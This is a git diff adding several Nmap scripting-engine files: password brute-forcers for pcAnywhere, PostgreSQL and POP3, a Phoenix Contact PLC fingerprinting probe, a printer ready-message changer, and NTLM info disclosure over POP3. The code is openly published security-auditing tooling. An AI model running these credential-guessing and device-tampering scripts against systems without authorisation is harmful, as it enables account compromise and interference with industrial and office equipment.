+ local proto = nil
+ local port = nil
+
+ for _, c in ipairs(combos) do
+ port = nmap.get_ports(host, nil, c[1], c[2])
+ if port then
+ proto = c[1]
+ break
+ end
+ end
+
+ return proto, port
+end
+
+-- Sets necessary probe data in registry
+local setreg = function(host, proto, port)
+ host.registry['pathmtuprobe'] = {
+ ['proto'] = proto,
+ ['port'] = port
+ }
+end
+
+hostrule = function(host)
+ if not nmap.is_privileged() then
+ nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
+ if not nmap.registry[SCRIPT_NAME].rootfail then
+ stdnse.verbose1("not running for lack of privileges.")
+ end
+ nmap.registry[SCRIPT_NAME].rootfail = true
+ return nil
+ end
+
+ if nmap.address_family() ~= 'inet' then
+ stdnse.debug1("is IPv4 compatible only.")
+ return false
+ end
+ if not (host.interface and host.interface_mtu) then
+ return false
+ end
+ local proto, port = getprobe(host)
+ if not (proto and port) then
+ return false
+ end
+ setreg(host, proto, port.number)
+ return true
+end
+
+action = function(host)
+ local m, r
+ local gotit = false
+ local mtuset
+ local sock = nmap.new_dnet()
+ local pcap = nmap.new_socket()
+ local proto = host.registry['pathmtuprobe']['proto']
+ local port = host.registry['pathmtuprobe']['port']
+ local saddr = ipOps.str_to_ip(host.bin_ip_src)
+ local daddr = ipOps.str_to_ip(host.bin_ip)
+ local try = nmap.new_try()
+ local status, pkt, ip
+
+ try(sock:ip_open())
+
+ try = nmap.new_try(function() sock:ip_close() end)
+
+ pcap:pcap_open(host.interface, 104, false, "dst host " .. saddr .. " and (icmp or (" .. proto .. " and src host " .. daddr .. " and src port " .. port .. "))")
+
+ -- Since we're sending potentially large amounts of data per packet,
+ -- simply bump up the host's calculated timeout value. Most replies
+ -- should come from routers along the path, fragmentation reassembly
+ -- times isn't an issue and the large amount of data is only traveling
+ -- in one direction; still, we want a response from the target so call
+ -- it 1.5*timeout to play it safer.
+ pcap:set_timeout(1.5 * host.times.timeout * 1000)
+
+ m = searchmtu(1, host.interface_mtu)
+
+ mtuset = MTUS[m]
+
+ local pkt = genericpkt(host, ipproto(proto), port)
+
+ while m <= #MTUS do
+ setmtu(pkt, MTUS[m])
+
+ r = 0
+ status = false
+ while true do
+ if not status then
+ if not sock:ip_send(pkt.buf, host) then
+ -- Got a send error, perhaps EMSGSIZE
+ -- when we don't know our interface's
+ -- MTU. Drop an MTU and keep trying.
+ break
+ end
+ end
+
+ local test = pkt.ip_bin_src
+ local status, length, _, layer3 = pcap:pcap_receive()
+ while status and test ~= check(layer3) do
+ status, length, _, layer3 = pcap:pcap_receive()
+ end
+
+ if status then
+ local t, v = checkpkt(layer3, pkt)
+ if t == "gotreply" then
+ gotit = true
+ break
+ elseif t == "recap" then
+ elseif t == "nextmtu" then
+ if v == 0 then
+ -- Router didn't send its
+ -- next-hop MTU. Just drop
+ -- a level.
+ break
+ end
+ -- Lua's lack of a continue statement
+ -- for loop control sucks, so dec m
+ -- here as it's inc'd below. Ugh.
+ m = searchmtu(m, v) - 1
+ mtuset = v
+ break
+ end
+ else
+ if r >= RETRIES then
+ break
+ end
+ r = r + 1
+ end
+ end
+
+ if gotit then
+ break
+ end
+
+ m = m + 1
+ end
+
+ pcap:close()
+ sock:ip_close()
+
+ if not gotit then
+ if nmap.debugging() > 0 then
+ return "Error: Unable to determine PMTU (no replies)"
+ end
+ return
+ end
+
+ if MTUS[m] == mtuset then
+ return "PMTU == " .. MTUS[m]
+ elseif m == 1 then
+ return "PMTU >= " .. MTUS[m]
+ else
+ return "" .. MTUS[m] .. " <= PMTU < " .. MTUS[m - 1]
+ end
+end
diff --git a/scripts/pcanywhere-brute.nse b/scripts/pcanywhere-brute.nse
new file mode 100644
index 0000000..b85e85e
--- /dev/null
+++ b/scripts/pcanywhere-brute.nse
@@ -0,0 +1,158 @@
+local brute = require "brute"
+local creds = require "creds"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+description = [[
+Performs brute force password auditing against the pcAnywhere remote access protocol.
+
+Due to certain limitations of the protocol, bruteforcing
+is limited to single thread at a time.
+After a valid login pair is guessed the script waits
+some time until server becomes available again.
+
+]]
+
+---
+-- @usage
+-- nmap --script=pcanywhere-brute <target>
+--
+-- @output
+-- 5631/tcp open pcanywheredata syn-ack
+-- | pcanywhere-brute:
+-- | Accounts
+-- | administrator:administrator - Valid credentials
+-- | Statistics
+-- |_ Performed 2 guesses in 55 seconds, average tps: 0
+--
+-- @args pcanywhere-brute.timeout socket timeout for connecting to PCAnywhere (default 10s)
+
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(5631, "pcanywheredata")
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+arg_timeout = (arg_timeout or 10) * 1000
+
+-- implements simple xor based encryption which the server expects
+local function encrypt(data)
+ local result = {}
+ local xor_key = 0xab
+ local k = 0
+ if data then
+ result[1] = string.byte(data) ~ xor_key
+ for i = 2,string.len(data) do
+ result[i] = result[i-1] ~ string.byte(data,i) ~ i-2
+ end
+ end
+ return string.char(table.unpack(result))
+end
+
+local retry = false -- true means we found valid login and need to wait
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = brute.new_socket()
+ local response
+ local err
+ local status = false
+
+ stdnse.sleep(2)
+ -- when we hit a valid login pair, server enters some kind of locked state
+ -- so we need to wait for some time before trying next pair
+ -- variable "retry" signifies if we need to wait or this is just not pcAnywhere server
+ while not status do
+ status, err = self.socket:connect(self.host, self.port)
+ self.socket:set_timeout(arg_timeout)
+ if(not(status)) then
+ return false, brute.Error:new( "Couldn't connect to host: " .. err )
+ end
+ status, err = self.socket:send(stdnse.fromhex("00000000")) --initial hello
+ status, response = self.socket:receive_bytes(0)
+ if not status and not retry then
+ break
+ end
+ stdnse.debug1("in a loop")
+ stdnse.sleep(2) -- needs relatively big timeout between retries
+ end
+ if not status or string.find(response,"Please press <Enter>") == nil then
+ --probably not pcanywhere
+ stdnse.debug1("not pcAnywhere")
+ return false, brute.Error:new( "Probably not pcAnywhere." )
+ end
+ retry = false
+ status, err = self.socket:send(stdnse.fromhex("6f06ff")) -- downgrade into legacy mode
+ status, response = self.socket:receive_bytes(0)
+
+ status, err = self.socket:send(stdnse.fromhex("6f61000900fe0000ffff00000000")) -- auth capabilities I
+ status, response = self.socket:receive_bytes(0)
+
+ status, err = self.socket:send(stdnse.fromhex("6f620102000000")) -- auth capabilities II
+ status, response = self.socket:receive_bytes(0)
+ if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then
+ stdnse.debug1("handshake failed")
+ return false, brute.Error:new( "Handshake failed." )
+ end
+ return true
+ end,
+
+ login = function (self, user, pass)
+ local response
+ local err
+ local status
+ stdnse.debug1( "Trying %s/%s ...", user, pass )
+ -- send username and password
+ -- both are prefixed with 0x06, size and are encrypted
+ status, err = self.socket:send("\x06" .. string.pack("s1", encrypt(user)) ) -- send username
+ status, response = self.socket:receive_bytes(0)
+ if not status or string.find(response,"Enter password") == nil then
+ stdnse.debug1("Sending username failed")
+ return false, brute.Error:new( "Sending username failed." )
+ end
+ -- send password
+ status, err = self.socket:send("\x06" .. string.pack("s1", encrypt(pass)) ) -- send password
+ status, response = self.socket:receive_bytes(0)
+ if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then
+ stdnse.debug1("Incorrect username or password")
+ return false, brute.Error:new( "Incorrect username or password." )
+ end
+
+ if status then
+ retry = true -- now the server is in "locked mode", we need to retry next connection a few times
+ return true, creds.Account:new( user, pass, creds.State.VALID)
+ end
+ return false,brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ self.socket:close()
+ return true
+ end
+
+}
+
+action = function( host, port )
+
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ engine.max_threads = 1 -- pcAnywhere supports only one login at a time
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/pcworx-info.nse b/scripts/pcworx-info.nse
new file mode 100644
index 0000000..4b5f7ad
--- /dev/null
+++ b/scripts/pcworx-info.nse
@@ -0,0 +1,111 @@
+local string = require "string"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+This NSE script will query and parse pcworx protocol to a remote PLC.
+The script will send a initial request packets and once a response is received,
+it validates that it was a proper response to the command that was sent, and then
+will parse out the data. PCWorx is a protocol and Program by Phoenix Contact.
+
+
+http://digitalbond.com
+]]
+---
+-- @usage
+-- nmap --script pcworx-info -p 1962 <host>
+--
+--
+-- @output
+--| pcworx-info:
+--| PLC Type: ILC 330 ETH
+--| Model Number: 2737193
+--| Firmware Version: 3.95T
+--| Firmware Date: Mar 2 2012
+--|_ Firmware Time: 09:39:02
+
+--
+--
+-- @xmloutput
+--<elem key="PLC Type">ILC 330 ETH</elem>
+--<elem key="Model Number">2737193</elem>
+--<elem key="Firmware Version">3.95T</elem>
+--<elem key="Firmware Date">Mar 2 2012</elem>
+--<elem key="Firmware Time">09:39:02</elem>
+
+author = "Stephen Hilt (Digital Bond)"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery"}
+
+portrule = shortport.port_or_service(1962, "pcworx", "tcp")
+
+-- Safely extract a zero-terminated string if the blob is long enough
+-- Returns nil if it is not.
+local function get_string(blob, offset)
+ if #blob >= offset then
+ return string.unpack("z", blob, offset)
+ end
+end
+---
+-- Action Function that is used to run the NSE. This function will send the initial query to the
+-- host and port that were passed in via nmap. The initial response is parsed to determine if host
+-- is a pcworx Protocol device. If it is then more actions are taken to gather extra information.
+--
+-- @param host Host that was scanned via nmap
+-- @param port port that was scanned via nmap
+action = function(host,port)
+ local init_comms = "\x01\x01\0\x1a\0\0\0\0x\x80\0\x03\0\x0cIBETH01N0_M\0"
+
+ -- create table for output
+ local output = stdnse.output_table()
+
+ -- create new socket
+ local socket = nmap.new_socket()
+ -- define the catch of the try statement
+ local catch = function()
+ socket:close()
+ end
+ local try = nmap.new_try(catch)
+
+ try(socket:connect(host, port))
+ try(socket:send(init_comms))
+ local response = try(socket:receive())
+
+ if not response:match("^\x81") then
+ stdnse.debug1("Unexpected or unknown PCWorx message.")
+ return nil
+ end
+ -- pcworx has a session ID that is generated by the PLC
+ -- This will pull the SID so we can communicate further to the PLC
+ local sid = string.sub(response, 18, 18)
+ local init_comms2 = "\x01\x05\0\x16\0\x01\0\0\x78\x80\0" .. sid .. "\0\0\0\x06\0\x04\x02\x95\0\0"
+ try(socket:send(init_comms2))
+ -- receive response
+ response = try(socket:receive())
+ -- TODO: verify this
+
+ -- this is the request that will pull all the information from the PLC
+ local req_info = "\x01\x06\0\x0e\0\x02\0\0\0\0\0" .. sid .. "\x04\0"
+ try(socket:send(req_info))
+ -- receive response
+ response = try(socket:receive())
+
+ -- if the response starts with 0x81 then we will continue
+ if not response:match("^\x81") then
+ stdnse.debug1("Unexpected or unknown PCWorx message.")
+ socket:close()
+ return nil
+ end
+
+ -- create output table with proper data
+ output["PLC Type"] = get_string(response, 31)
+ output["Model Number"] = get_string(response, 153)
+ output["Firmware Version"] = get_string(response, 67)
+ output["Firmware Date"] = get_string(response, 80)
+ output["Firmware Time"] = get_string(response, 92)
+
+ -- close socket and return output table
+ socket:close()
+ return output
+end
diff --git a/scripts/pgsql-brute.nse b/scripts/pgsql-brute.nse
new file mode 100644
index 0000000..a239df4
--- /dev/null
+++ b/scripts/pgsql-brute.nse
@@ -0,0 +1,169 @@
+local nmap = require "nmap"
+local pgsql = require "pgsql"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unpwdb = require "unpwdb"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Performs password guessing against PostgreSQL.
+]]
+
+---
+-- @usage
+-- nmap -p 5432 --script pgsql-brute <host>
+--
+-- @output
+-- 5432/tcp open pgsql
+-- | pgsql-brute:
+-- | root:<empty> => Valid credentials
+-- |_ test:test => Valid credentials
+--
+-- @args pgsql.nossl If set to <code>1</code> or <code>true</code>, disables SSL.
+-- @args pgsql.version Force protocol version 2 or 3.
+
+-- SSL Encryption
+-- --------------
+-- We need to handle several cases of SSL support
+-- o SSL can be supported on a server level
+-- o SSL can be enforced per host or network level
+-- o SSL can be denied per host or network level
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+-- Version 0.4
+-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/20/2010 - v0.2 - moved version detection to pgsql library
+-- Revised 03/04/2010 - v0.3 - added code from ssh-hostkey.nse to check for SSL support
+-- - added support for trusted authentication method
+-- Revised 09/10/2011 - v0.4 - changed account status text to be more consistent with other *-brute scripts
+
+portrule = shortport.port_or_service(5432, "postgresql")
+
+--- Connect a socket to the server with or without SSL
+--
+-- @param host table as received by the action function
+-- @param port table as received by the action function
+-- @param ssl boolean, if true connect using SSL
+-- @return socket connected to server
+local function connectSocket(host, port, ssl)
+ local socket = nmap.new_socket()
+
+ -- set a reasonable timeout value
+ socket:set_timeout(5000)
+ socket:connect(host, port)
+
+ -- let's be responsible and avoid sending communication in the clear
+ if ( ssl ) then
+ local status = pgsql.requestSSL(socket)
+ if ( status ) then
+ socket:reconnect_ssl()
+ end
+ end
+ return socket
+end
+
+action = function( host, port )
+
+ local status, response, ssl_enable, output
+ local result, response, status, nossl = {}, nil, nil, false
+ local valid_accounts = {}
+ local pg
+
+ if ( nmap.registry.args['pgsql.version'] ) then
+ if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then
+ pg = pgsql.v2
+ elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then
+ pg = pgsql.v3
+ else
+ stdnse.debug1("Unsupported version %s", nmap.registry.args['pgsql.version'])
+ return
+ end
+ else
+ pg = pgsql.detectVersion(host, port )
+ end
+
+ local usernames, passwords
+ status, usernames = unpwdb.usernames()
+ if not status then
+ return stdnse.format_output(false, usernames)
+ end
+
+ status, passwords = unpwdb.passwords()
+ if not status then
+ return stdnse.format_output(false, passwords)
+ end
+
+ -- If the user explicitly does not disable SSL, enforce it
+ if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or
+ ( nmap.registry.args['pgsql.nossl'] == '1' ) ) then
+ nossl = true
+ end
+
+ for username in usernames do
+ ssl_enable = not(nossl)
+ for password in passwords do
+ stdnse.debug1("Trying %s/%s ...", username, password )
+ local socket = connectSocket( host, port, ssl_enable )
+ status, response = pg.sendStartup(socket, username, username)
+
+ -- if nossl is enforced by the user, we're done
+ if ( not(status) and nossl ) then
+ break
+ end
+
+ -- SSL failed, this can occur due to:
+ -- 1. The server does not do SSL
+ -- 2. SSL was denied on a per host or network level
+ --
+ -- Attempt SSL connection
+ if ( not(status) ) then
+ socket:close()
+ ssl_enable = false
+ socket = connectSocket( host, port, ssl_enable )
+ status, response = pg.sendStartup(socket, username, username)
+ if (not(status)) then
+ if ( response:match("no pg_hba.conf entry for host") ) then
+ stdnse.debug1("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username )
+ break
+ else
+ stdnse.debug1("sendStartup returned: %s", response )
+ break
+ end
+ end
+ end
+
+ -- Do not attempt to authenticate if authentication type is trusted
+ if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
+ status, response = pg.loginRequest( socket, response, username, password, response.salt)
+ end
+
+ if status then
+ -- Add credentials for other pgsql scripts to use
+ if nmap.registry.pgsqlusers == nil then
+ nmap.registry.pgsqlusers = {}
+ end
+ nmap.registry.pgsqlusers[username]=password
+ if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
+ table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
+ else
+ table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) )
+ end
+ break
+ end
+ socket:close()
+ end
+ passwords("reset")
+ end
+
+ output = stdnse.format_output(true, valid_accounts)
+
+ return output
+
+end
diff --git a/scripts/pjl-ready-message.nse b/scripts/pjl-ready-message.nse
new file mode 100644
index 0000000..a77f60f
--- /dev/null
+++ b/scripts/pjl-ready-message.nse
@@ -0,0 +1,105 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+
+description = [[
+Retrieves or sets the ready message on printers that support the Printer
+Job Language. This includes most PostScript printers that listen on port
+9100. Without an argument, displays the current ready message. With the
+<code>pjl_ready_message</code> script argument, displays the old ready
+message and changes it to the message given.
+]]
+
+---
+-- @arg pjl_ready_message Ready message to display.
+-- @output
+-- 9100/tcp open jetdirect
+-- |_ pjl-ready-message: "READY" changed to "p0wn3d pr1nt3r"
+-- @usage
+-- nmap --script=pjl-ready-message.nse \
+-- --script-args='pjl_ready_message="your message here"'
+
+author = "Aaron Leininger"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive"}
+
+portrule = shortport.port_or_service(9100, "jetdirect")
+
+local function parse_response(response)
+ local msg
+ local line
+
+ for line in response:gmatch(".-\n") do
+ msg = line:match("^DISPLAY=\"(.*)\"")
+ if msg then
+ return msg
+ end
+ end
+end
+
+action = function(host, port)
+
+ local status --to be used to grab the existing status of the display screen before changing it.
+ local newstatus --used to repoll the printer after setting the display to check that the probe worked.
+ local statusmsg --stores the PJL command to get the printer's status
+ local response --stores the response sent over the network from the printer by the PJL status command
+
+ statusmsg="@PJL INFO STATUS\r\n"
+
+ local rdymsg="" --string containing text to send to the printer.
+ local rdymsgarg="" --will contain the argument from the command line if one exists
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(15000)
+ local try = nmap.new_try(function() socket:close() end)
+ try(socket:connect(host, port))
+ try(socket:send(statusmsg)) --this block gets the current display status
+ local data
+ response,data=socket:receive()
+ if not response then --send an initial probe. If no response, send nothing further.
+ socket:close()
+ if nmap.verbosity() > 0 then
+ return "No response from printer: "..data
+ else
+ return nil
+ end
+ end
+
+ status = parse_response(data)
+ if not status then
+ if nmap.verbosity() > 0 then
+ return "Error reading printer response: "..data
+ else
+ return nil
+ end
+ end
+
+ rdymsgarg = nmap.registry.args.pjl_ready_message
+ if not rdymsgarg then
+ if status then
+ return "\""..status.."\""
+ else
+ return nil
+ end
+ end
+
+ rdymsg="@PJL RDYMSG DISPLAY = \""..rdymsgarg.."\"\r\n"
+ try(socket:send(rdymsg)) --actually set the display message here.
+
+ try(socket:send(statusmsg)) --this block gets the status again for comparison
+ response,data=socket:receive()
+ if not response then
+ socket:close()
+ return "\""..status.."\""
+ end
+ newstatus=parse_response(data)
+ if not newstatus then
+ socket:close()
+ return "\""..status.."\""
+ end
+
+ socket:close()
+
+ return "\""..status.."\" changed to \""..newstatus.."\""
+end
diff --git a/scripts/pop3-brute.nse b/scripts/pop3-brute.nse
new file mode 100644
index 0000000..9712d47
--- /dev/null
+++ b/scripts/pop3-brute.nse
@@ -0,0 +1,136 @@
+local brute = require "brute"
+local comm = require "comm"
+local creds = require "creds"
+local nmap = require "nmap"
+local pop3 = require "pop3"
+local shortport = require "shortport"
+local string = require "string"
+
+description = [[
+Tries to log into a POP3 account by guessing usernames and passwords.
+]]
+
+---
+-- @args pop3loginmethod The login method to use: <code>"USER"</code>
+-- (default), <code>"SASL-PLAIN"</code>, <code>"SASL-LOGIN"</code>,
+-- <code>"SASL-CRAM-MD5"</code>, or <code>"APOP"</code>. Defaults to <code>"USER"</code>,
+--
+-- @output
+-- PORT STATE SERVICE
+-- 110/tcp open pop3
+-- | pop3-brute-ported:
+-- | Accounts:
+-- | user:pass => Login correct
+-- | Statistics:
+-- |_ Performed 8 scans in 1 seconds, average tps: 8
+
+author = {"Philip Pickering", "Piotr Olma"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive", "brute"}
+
+Driver = {
+ new = function(self, host, port, login_function, is_apop)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.port = port
+ o.host = host
+ o.login_function = login_function
+ o.is_apop = is_apop
+ return o
+ end,
+
+ -- Attempts to connect to the POP server
+ -- @return true on success
+ -- @return false, brute.Error object on failure
+ connect = function(self)
+
+ self.socket = brute.new_socket()
+ local opts = {timeout=10000, recv_before=true}
+ local best_opt, line, _
+ self.socket, _, best_opt, line = comm.tryssl(self.host, self.port, "" , opts)
+
+ if not self.socket then
+ local err = brute.Error:new("Failed to connect.")
+ err:setAbort(true)
+ return false, err
+ end --no connection
+ if not pop3.stat(line) then
+ local err = brute.Error:new("Failed to make a pop-connection.")
+ err:setAbort(true)
+ return false, err
+ end -- no pop-connection
+
+ if self.is_apop then
+ self.additional = string.match(line, "<[%p%w]+>") --apop challenge
+ end
+ return true
+ end, --connect
+
+ -- Attempts to login to the POP server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- creds.Account object on success
+ login = function(self, username, password)
+ local pstatus
+ local perror
+ pstatus, perror = self.login_function(self.socket, username, password, self.additional)
+ if pstatus then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ else
+ local err
+ if (perror == pop3.err.pwError) then
+ err = brute.Error:new("Wrong password.")
+ elseif (perror == pop3.err.userError) then
+ err = brute.Error:new("Wrong username.")
+ err:setInvalidAccount(username)
+ else
+ err = brute.Error:new("Login failed.")
+ end
+ return false, err
+ end
+ end, --login
+
+ disconnect = function(self)
+ self.socket:close()
+ end, --disconnect
+
+ check = function(self)
+ return true
+ end, --check
+}
+
+portrule = shortport.port_or_service({110, 995}, {"pop3","pop3s"})
+
+action = function(host, port)
+ local pMeth = nmap.registry.args.pop3loginmethod
+ if (not pMeth) then pMeth = nmap.registry.pop3loginmethod end
+ if (not pMeth) then pMeth = "USER" end
+
+ --determine function we will use to login to server
+ local is_apop = false
+ local login_function
+ if (pMeth == "USER") then
+ login_function = pop3.login_user
+ elseif (pMeth == "SASL-PLAIN") then
+ login_function = pop3.login_sasl_plain
+ elseif (pMeth == "SASL-LOGIN") then
+ login_function = pop3.login_sasl_login
+ elseif (pMeth == "SASL-CRAM-MD5") then
+ login_function = pop3.login_sasl_crammd5
+ elseif (pMeth == "APOP") then
+ login_function = pop3.login_apop
+ is_apop = true
+ else
+ login_function = pop3.login_user
+ end
+
+ local engine = brute.Engine:new(Driver, host, port, login_function, is_apop)
+ engine.options.script_name = SCRIPT_NAME
+ local status, accounts = engine:start()
+ return accounts
+end
diff --git a/scripts/pop3-capabilities.nse b/scripts/pop3-capabilities.nse
new file mode 100644
index 0000000..322bc1a
--- /dev/null
+++ b/scripts/pop3-capabilities.nse
@@ -0,0 +1,47 @@
+local pop3 = require "pop3"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Retrieves POP3 email server capabilities.
+
+POP3 capabilities are defined in RFC 2449. The CAPA command allows a client to
+ask a server what commands it supports and possibly any site-specific policy.
+Besides the list of supported commands, the IMPLEMENTATION string giving the
+server version may be available.
+]]
+
+---
+-- @output
+-- 110/tcp open pop3
+-- |_ pop3-capabilities: USER CAPA RESP-CODES UIDL PIPELINING STLS TOP SASL(PLAIN)
+
+author = "Philip Pickering"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default","discovery","safe"}
+
+
+portrule = shortport.port_or_service({110,995},{"pop3","pop3s"})
+
+action = function(host, port)
+ local capa, err = pop3.capabilities(host, port)
+ if type(capa) == "table" then
+ -- Convert the capabilities table into an array of strings.
+ local capstrings = {}
+ for cap, args in pairs(capa) do
+ if ( #args > 0 ) then
+ table.insert(capstrings, ("%s(%s)"):format(cap, table.concat(args, " ")))
+ else
+ table.insert(capstrings, cap)
+ end
+ end
+ return table.concat(capstrings, " ")
+ elseif type(err) == "string" then
+ stdnse.debug1("'%s' for %s", err, host.ip)
+ return
+ else
+ return "server doesn't support CAPA"
+ end
+end
diff --git a/scripts/pop3-ntlm-info.nse b/scripts/pop3-ntlm-info.nse
new file mode 100644
index 0000000..9f401a3
--- /dev/null
+++ b/scripts/pop3-ntlm-info.nse
@@ -0,0 +1,161 @@
+local comm = require "comm"
+local os = require "os"
+local datetime = require "datetime"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local base64 = require "base64"
+local smbauth = require "smbauth"
+local string = require "string"
+
+
+description = [[
+This script enumerates information from remote POP3 services with NTLM
+authentication enabled.
+
+Sending a POP3 NTLM authentication request with null credentials will
+cause the remote service to respond with a NTLMSSP message disclosing
+information to include NetBIOS, DNS, and OS build version.
+]]
+
+
+---
+-- @usage
+-- nmap -p 110,995 --script pop3-ntlm-info <target>
+--
+-- @output
+-- 110/tcp open pop3
+-- | pop3-ntlm-info:
+-- | Target_Name: ACTIVEPOP3
+-- | NetBIOS_Domain_Name: ACTIVEPOP3
+-- | NetBIOS_Computer_Name: POP3-TEST2
+-- | DNS_Domain_Name: somedomain.com
+-- | DNS_Computer_Name: pop3-test2.somedomain.com
+-- | DNS_Tree_Name: somedomain.com
+-- |_ Product_Version: 6.1.7601
+--
+--@xmloutput
+-- <elem key="Target_Name">ACTIVEPOP3</elem>
+-- <elem key="NetBIOS_Domain_Name">ACTIVEPOP3</elem>
+-- <elem key="NetBIOS_Computer_Name">POP3-TEST2</elem>
+-- <elem key="DNS_Domain_Name">somedomain.com</elem>
+-- <elem key="DNS_Computer_Name">pop3-test2.somedomain.com</elem>
+-- <elem key="DNS_Tree_Name">somedomain.com</elem>
+-- <elem key="Product_Version">6.1.7601</elem>
+
+
+author = "Justin Cacak"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+local ntlm_auth_blob = base64.enc( select(2,
+ smbauth.get_security_blob(nil, nil, nil, nil, nil, nil, nil,
+ 0x00000001 + -- Negotiate Unicode
+ 0x00000002 + -- Negotiate OEM strings
+ 0x00000004 + -- Request Target
+ 0x00000200 + -- Negotiate NTLM
+ 0x00008000 + -- Negotiate Always Sign
+ 0x00080000 + -- Negotiate NTLM2 Key
+ 0x20000000 + -- Negotiate 128
+ 0x80000000 -- Negotiate 56
+ ))
+ )
+
+portrule = shortport.port_or_service({ 110, 995 }, { "pop3", "pop3s" })
+
+action = function(host, port)
+
+ local output = stdnse.output_table()
+
+ -- Negotiate connection protocol
+ local socket, line, bopt, first_line = comm.tryssl(host, port, "" , {recv_before=true})
+ if not socket then
+ return
+ end
+
+ -- Do not attempt to upgrade to a TLS connection if already over TLS
+ if not shortport.ssl(host,port) then
+ -- Attempt to upgrade to a TLS connection if supported (may not be advertised)
+ -- Various implementations *require* this before accepting authentication requests
+ socket:send("STLS\r\n")
+ local status, response = socket:receive()
+ if not status then
+ return
+ end
+ -- Upgrade the connection if STARTTLS permitted, else continue without
+ if string.match(response, ".*OK.*") then
+ status, response = socket:reconnect_ssl()
+ if not status then
+ return
+ end
+ end
+ end
+
+ socket:send("AUTH NTLM\r\n")
+ local status, response = socket:receive()
+ if not response then
+ return
+ end
+
+ socket:send(ntlm_auth_blob .. "\r\n")
+ status, response = socket:receive()
+ if not response then
+ return
+ end
+
+ local recvtime = os.time()
+ socket:close()
+
+ -- Continue only if a + response is returned
+ if not string.match(response, "+ .*") then
+ return
+ end
+
+ local response_decoded = base64.dec(string.match(response, "+ (.*)"))
+
+ -- Continue only if NTLMSSP response is returned
+ if not string.match(response_decoded, "(NTLMSSP.*)") then
+ return nil
+ end
+
+ -- Leverage smbauth.get_host_info_from_security_blob() for decoding
+ local ntlm_decoded = smbauth.get_host_info_from_security_blob(response_decoded)
+
+ if ntlm_decoded.timestamp then
+ -- 64-bit number of 100ns clicks since 1/1/1601
+ local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600
+ datetime.record_skew(host, unixstamp, recvtime)
+ end
+
+ -- Target Name will always be returned under any implementation
+ output.Target_Name = ntlm_decoded.target_realm
+
+ -- Display information returned & ignore responses with null values
+ if ntlm_decoded.netbios_domain_name and #ntlm_decoded.netbios_domain_name > 0 then
+ output.NetBIOS_Domain_Name = ntlm_decoded.netbios_domain_name
+ end
+
+ if ntlm_decoded.netbios_computer_name and #ntlm_decoded.netbios_computer_name > 0 then
+ output.NetBIOS_Computer_Name = ntlm_decoded.netbios_computer_name
+ end
+
+ if ntlm_decoded.dns_domain_name and #ntlm_decoded.dns_domain_name > 0 then
+ output.DNS_Domain_Name = ntlm_decoded.dns_domain_name
+ end
+
+ if ntlm_decoded.fqdn and #ntlm_decoded.fqdn > 0 then
+ output.DNS_Computer_Name = ntlm_decoded.fqdn
+ end
+
+ if ntlm_decoded.dns_forest_name and #ntlm_decoded.dns_forest_name > 0 then
+ output.DNS_Tree_Name = ntlm_decoded.dns_forest_name
+ end
+
+ if ntlm_decoded.os_major_version then
+ output.Product_Version = string.format("%d.%d.%d",
+ ntlm_decoded.os_major_version, ntlm_decoded.os_minor_version, ntlm_decoded.os_build)
+ end
+
+ return output
+
+end
diff --git a/scripts/port-states.nse b/scripts/port-states.nse
new file mode 100644
index 0000000..0460016
--- /dev/null
+++ b/scripts/port-states.nse
@@ -0,0 +1,86 @@
+local table = require "table"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+
+description = [[
+Prints a list of ports found in each state.
+
+Nmap ordinarily summarizes "uninteresting" ports as "Not shown: 94 closed
+ports, 4 filtered ports" but users may want to know which ports were filtered
+vs which were closed. This script will expand these summaries into a list of
+ports and port ranges that were found in each state.
+]]
+
+---
+-- @output
+-- Host script results:
+-- | port-states:
+-- | tcp:
